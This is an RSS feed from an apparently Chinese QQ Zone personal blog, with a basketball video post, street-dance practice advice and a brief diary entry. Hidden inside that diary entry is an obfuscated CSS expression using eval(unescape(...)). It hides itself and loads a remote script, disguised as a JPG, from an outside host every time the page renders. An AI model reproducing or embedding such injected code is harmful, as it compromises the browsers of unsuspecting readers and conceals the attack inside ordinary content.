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<title><![CDATA[╮       孽 ]]></title>
<description><![CDATA[ら等你啊]]></description>
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<pubDate>Sat, 23 May 2009 11:43:09 GMT</pubDate>

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<title><![CDATA[华！实！科比！球场统治者！]]></title>
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<description><![CDATA[<embed invokeURLs="false" allowNetworking="internal" enableContextMenu="False" width="456" height="362" loop="false" autostart="false" showstatusbar="1" src="http://p.you.video.sina.com.cn/player/outer_player.swf?auto=1&amp;vid=20312617&amp;uid=1566126950" /><wbr /><br>看了不用顶！<img src="http://imgcache.qq.com/qzone/em/e188.gif"><wbr />  享受吧！<img src="http://imgcache.qq.com/qzone/em/e144.gif"><wbr />   谢谢欣赏！<img src="http://imgcache.qq.com/qzone/em/e163.gif"><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[80983271@qq.com(╮       孽 )]]></author>
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<pubDate>Sat, 23 May 2009 11:43:09 GMT</pubDate>
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<title><![CDATA[[转]我超喜欢的Jabbawockeez的视频]]></title>
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<description><![CDATA[<embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" menu="false" id="flash0" width="476" height="383" src="http://player.youku.com/player.php/sid/XMzkyMTkxMjA=/v.swf" /><br>Attention,please~学习街舞的一些误区！ 相信从街舞的历史中，我们能看到街舞的风格来源：源于贫民生活以及人们情感最原始的表达方式。如果看过非洲或者南美洲土著民族的记录片，就会觉得他们的舞蹈和街舞的风格和方式颇有相同：踏着鼓点，围着火堆，跳跃... <br><br>舞蹈作为人类情感最原始、直接的表达，可以讲人人都可以跳。只要能把我们心里的那根弦弹奏起来，我们就可以翩翩起舞。所以，街舞，作为保留原始性最多的舞种，她本身就隐藏在我们的身体里面。见过很多人，一旦街舞入门，舞技就突飞猛进，就是这个原因。尽管如此，为什么好多人觉得街舞好难？ <br><br>误区一：害怕出丑，不敢跳； 这个是初学者第一道关。街舞没有什么美丑，只要是发自你内心的东西，是你身体的语言，就没有丑陋的。相信自己，多一点自信。 <br><br>误区二：只要动作，不要音乐；大忌啊！！练习的时候一定要跟着音乐，不要刻意模仿动作，用80％的精力去听音乐，剩下的20％交给身体，前提是你的身体已经熟悉了音乐的节奏。听音乐，注意身体的感觉，让你的身体记住音乐。 <br><br>误区三：闭眼瞎练，不看镜子； 自己不知道自己的动作是什么样子，怎么知道如何改进？从不同方位看每个动作，觉得不好看，要想想为什么？怎么改进才好看？一定要有镜子啊！ <br><br>误区四：只追求技术，不追求感觉；这个是练到一定阶段之后，就容易犯的错误。为了比较难度的动作，把街舞最核心的感觉和节奏丢失了；breaking的power－move就是一个极端。这个以后在讲。 <br><br>误区五：混淆disco和hiphop；去disco厅的人多数是跳街舞的，当时，如果习惯了disco的舞蹈，跳起街舞来就不伦不类了。disco里是扭动腰髋，hiphop要求全身都要动。 <br><br>误区六：一学就会，一放就忘；舞蹈就要狂练。 <br><br>咳咳。就这么多吧。希望大家能从中学点经验，少走一点弯路。 希望大家能和我一起舞啊！！ <!--v:3.2--> ]]></description>
<category><![CDATA[街头一族]]></category>
<author><![CDATA[80983271@qq.com(╮       孽 )]]></author>
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<pubDate>Fri, 10 Apr 2009 15:02:40 GMT</pubDate>
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<title><![CDATA[深夜迷茫]]></title>
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<description><![CDATA[<span style="filter: glow(color=#FFFF33,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">我要能够早日清醒过来.主啊保佑我吧.哈利路亚!<span style="color:#000000;line-height:1.8em;">或许我应该离开游戏了。</span><wbr /></span><wbr /><span style="color:#ffffff;line-height:1.8em;">[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[My boy]]></category>
<author><![CDATA[80983271@qq.com(╮       孽 )]]></author>
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<pubDate>Fri, 17 Aug 2007 16:37:18 GMT</pubDate>
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